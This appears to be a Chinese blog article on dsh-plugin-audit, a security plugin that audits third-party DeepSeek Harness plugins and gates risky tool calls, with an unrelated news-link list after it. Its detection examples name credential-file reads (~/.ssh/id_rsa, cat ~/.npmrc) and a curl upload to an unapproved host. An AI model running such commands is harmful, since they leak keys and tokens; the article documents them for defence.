给DeepSeek Harness插件装上“安检门“:dsh-plugin-audit的设计与实践
安装一个第三方插件本质上是一次授权——授权它读你的文件、连它的服务器、动你的凭证。问题是你真的知道它要什么权限吗为什么写这个插件DeepSeek HarnessDSH的插件生态正在长大雷达站 awesome-dsh-plugins 已经收录了几十个社区插件涵盖会话迁移、跨会话通信、远程渠道等各种能力。这是好事但有一个越来越显眼的问题——插件安装没有权限声明环节。一条dsh plugin add xxx插件代码就进了你的 harness 进程它能读文件系统、能开子进程、能访问process.env里的一切包括你的 API token、能向任意主机发请求。装之前你唯一的审查手段是自己去读它的源码——而没人真的会为每个插件做这件事。我们需要的不是信任或不信任的二元选择而是证据这个插件的代码到底碰了什么能力把文件和行号摆出来让人来判断。同时静态审查只覆盖装之前。插件真正运行起来之后每一次工具调用都是一次新的授权决策。所以还需要一道运行时的关卡。这就是 dsh-plugin-audit 的两层设计静态画像 运行时哨兵。它做什么第一层plugin_audit静态审计工具装好后会话里会多出一个plugin_audit工具。指向任意插件的源码目录它返回一张权限画像卡## Plugin audit: fixture-suspicious-plugin **Risk: REVIEW** — REVIEW — human review recommended before installing 1 files scanned; riskreview; 10 findings (4 review, 4 notice, 2 info) ### Permission profile | Surface | Observed | |---|---| | Filesystem read | **yes** | | Filesystem write | **yes** | | Child processes | **yes** | | Network | **yes** | | Outbound hosts | evil.example.com, exfil.badhost.io, telemetry.example.net | | Env variables | GITHUB_TOKEN, HOME | | Credential-looking env | GITHUB_TOKEN | | Credential paths | .npmrc, .ssh | | Dynamic code execution | **yes** | | Injected services | credentials, tools |扫描覆盖的能力面文件系统读写——含别名导入readFileSync as rfs、异步方法rm/mkdir/cp等 20 个子进程——exec/spawn/fork及其同步变体网络——http/net/fetch/WebSocket以及 axios/got/undici 等常见 HTTP 库的导入URL 字面量里的外发主机会被逐个提取自动剥离 userinfo、IPv6 括号、尾部点环境变量——所有process.env.X引用名字疑似凭证的TOKEN/KEY/SECRET…单独升级标记凭证路径——.ssh/.aws/.npmrc/id_rsa等动态代码执行——eval/new Function/vm模块manifest 与 bundle patch——package.json的依赖声明、cordis.patch.yml是否 override/delete 了别人的插件行每条发现都带文件和行号。风险分三档INFO无敏感能力→NOTICE有能力扫一眼列表→REVIEW装之前建议人工审查。它是只读的——而且这件事本身被强制执行。每份报告携带writesPerformed: false契约标记审计器还附带一个 invariant 伴随插件如果任何plugin_audit结果丢失了这个标记宿主会直接让会话失败。审计别人代码的工具自己先戴上镣铐。第二层运行时哨兵静态审计管装之前哨兵管跑起来之后。它挂在宿主工具管线的tools/pre-executewaterfall 上监视会话里的每一次工具调用命中三条规则之一就返回ask交给宿主原有的审批提示规则示例任意工具参数引用凭证路径read读~/.ssh/id_rsa、bash: cat ~/.npmrcshell 外发指向白名单之外的主机curl -d data.json https://collector.unknown.io/x写工具指向家目录 dotfilewrite写~/.zshrc没有审批通道时调用被拒绝——绝不静默放行。怎么使用安装# 从 npmdsh plugin--profilewebadddsh-plugin-audit# 或直接从 GitHubdsh plugin--profilewebaddgithub:jkrandom-sudo/dsh-plugin-audit重启 profile 后生效。卸载同样一条命令dsh plugin --profile web remove dsh-plugin-audit。审计一个插件在会话里直接说用 plugin_audit 审计 ~/some-third-party-plugin 这个插件或者让模型直接调用{path:/absolute/path/to/plugin,format:markdown}path必填——插件的源码目录不是带node_modules的安装产物format——markdown默认返回上面的卡片或json返回结构化报告适合程序化处理配置哨兵在 profile 的cordis.patch.yml里-id:dsh-plugin-auditname:dsh-plugin-auditconfig:sentinelEnabled:true# 总开关false 只保留静态审计allowedHosts:# shell 外发的预批准主机-github.com-registry.npmjs.org-*.deepseek.com# 前导 *. 后缀规则同时匹配裸域名正常命令频繁触发询问把主机加进allowedHosts即可。一段诚实的插曲v0.1.x 的哨兵其实从未工作过这个插件最值得讲的经验来自它自己的一次翻车。v0.1.0 发布前哨兵在测试里全部通过在本机真实 profile 的进程内验证里也通过了。发布后的一次三 agent 代码审查却发现了一个 P0哨兵读的是exec.args而宿主真实的执行对象把参数放在exec.arguments。生产环境里每条规则永远命中不了——哨兵是个安静的摆设。更讽刺的是为什么验证没拦住测试 harness 和手工验证脚本都镜像了同一个错误假设错得彼此印证。v0.1.2 的修复不止改了字段名exec.arguments ?? exec.args还做了两件防复发的事验证脚本改用宿主真实形状{ name, arguments }派发并在 harness 里留下注释记录这次回归新增src/events.ts用 cordis 的Events接口模块增强把宿主 waterfall 声明进类型系统——监听器形状从此编译期受检同类错误在tsc阶段就会爆炸而不是上线后。教训一句话当测试替身和生产事实由同一个假设驱动时绿灯什么也证明不了。验证要对着宿主的真实源码形状来而不是对着自己的理解来。边界与立场这个插件是审计辅助不是杀毒软件干净的报告含义是这些规则没发现证据不是安全扫描基于源码文本而非 AST字符串和注释里的命中会原样上报——宁多勿漏因为卡片是给人看的证据不跟随 symlink跳过node_modules/dist等目录只发布构建产物的包会强制得 NOTICE 而不是假干净上限 400 文件 / 单文件 256 KB超出会在报告里如实标注。发现绕过方式——扫描器漏检的能力、可规避的哨兵规则——欢迎在 Issues 提出敏感内容请先私下报告。链接仓库https://github.com/jkrandom-sudo/dsh-plugin-auditnpmhttps://www.npmjs.com/package/dsh-plugin-audit雷达登记awesome-dsh-plugins → PLUGINS.md → 单插件装插件之前先花十秒钟看看它的权限画像。这十秒钟就是这道安检门存在的全部理由。

相关新闻

FastCSV 完全指南:为什么它是 Java 开发者首选的 90KB 高性能 CSV 库?

FastCSV 完全指南:为什么它是 Java 开发者首选的 90KB 高性能 CSV 库?

FastCSV 完全指南:为什么它是 Java 开发者首选的 90KB 高性能 CSV 库? 【免费下载链接】FastCSV Fast, lightweight, and RFC 4180 compliant CSV library for Java. Zero dependencies, ~90 KiB. Trusted by Apache NiFi, JUnit, and Neo4j. 项目地址…

2026/8/16 15:39:39 阅读更多 →
基于SpringBoot的私房菜定制服务系统的设计与实现源码+文档

基于SpringBoot的私房菜定制服务系统的设计与实现源码+文档

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/16 15:39:39 阅读更多 →
泛型委托的使用

泛型委托的使用

1. 什么是委托(Delegate) 定义:委托是一种类型安全的函数指针,用于封装一个或多个具有相同签名的方法。本质:编译器生成的密封类,继承自 System.MulticastDelegate。作用: 解耦调用方与实现方。…

2026/8/16 15:39:39 阅读更多 →

最新新闻

BiliTools完全指南:用一个30MB的轻量工具搞定B站高清视频下载

BiliTools完全指南:用一个30MB的轻量工具搞定B站高清视频下载

BiliTools完全指南:用一个30MB的轻量工具搞定B站高清视频下载 【免费下载链接】BiliTools 本项目已停止维护。 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools 深夜两点,你终于刷到一部想反复回看的视频,想把它存进硬…

2026/8/16 16:14:53 阅读更多 →
在 Android 手机上运行完整版 VS Code:vscode_for_android 本地部署与调优指南

在 Android 手机上运行完整版 VS Code:vscode_for_android 本地部署与调优指南

在 Android 手机上运行完整版 VS Code:vscode_for_android 本地部署与调优指南 【免费下载链接】vscode_for_android Port VS Code to Android and support local operation 项目地址: https://gitcode.com/gh_mirrors/vs/vscode_for_android 如果你曾在通勤…

2026/8/16 16:14:53 阅读更多 →
【转帖】省商务厅 省教育厅 省财政厅 人民银行江苏省分行关于开展“苏新消费·数码焕新”开学季活动的通告

【转帖】省商务厅 省教育厅 省财政厅 人民银行江苏省分行关于开展“苏新消费·数码焕新”开学季活动的通告

网址:https://doc.jiangsu.gov.cn/art/2026/8/14/art_78712_11816297.html 为深入落实省委、省政府关于提振消费的工作要求,抢抓开学季、数码新品集中发布季等重要消费窗口期,推动全省消费市场提质扩容,现就“苏新消费数码焕新”…

2026/8/16 16:14:53 阅读更多 →
智能呼叫机器人,助力多行业高效获客

智能呼叫机器人,助力多行业高效获客

嘉单科技电话智能呼叫机器人目前已经广泛使用于加盟招商、建筑、机械、建材、教育、房产、家具、装修、化工等等各行业,且使用效果都非常不错。详情找我领取资料和案例吧嘉单科技的自动打电话的机器人:1. 语音识别技术:嘉单机器人语音识别功能…

2026/8/16 16:14:53 阅读更多 →
你的隐私正在“裸奔“?教你用搜索引擎语法自查信息泄露

你的隐私正在“裸奔“?教你用搜索引擎语法自查信息泄露

一、开篇:你的信息,可能正在网上"裸奔"你有没有过这样的经历:刚在某个网站注册了账号,没多久就收到推销电话;刚在网上投了简历,各种猎头和培训机构的消息就蜂拥而至;明明只在一个平台…

2026/8/16 16:14:53 阅读更多 →
第三方鼠标在 Mac 上总差一口气?这份 Mac Mouse Fix 配置实战指南帮你补齐最后一块短板

第三方鼠标在 Mac 上总差一口气?这份 Mac Mouse Fix 配置实战指南帮你补齐最后一块短板

第三方鼠标在 Mac 上总差一口气?这份 Mac Mouse Fix 配置实战指南帮你补齐最后一块短板 【免费下载链接】mac-mouse-fix Mac Mouse Fix - Make Your $10 Mouse Better Than an Apple Trackpad! 项目地址: https://gitcode.com/GitHub_Trending/ma/mac-mouse-fix …

2026/8/16 16:13:53 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →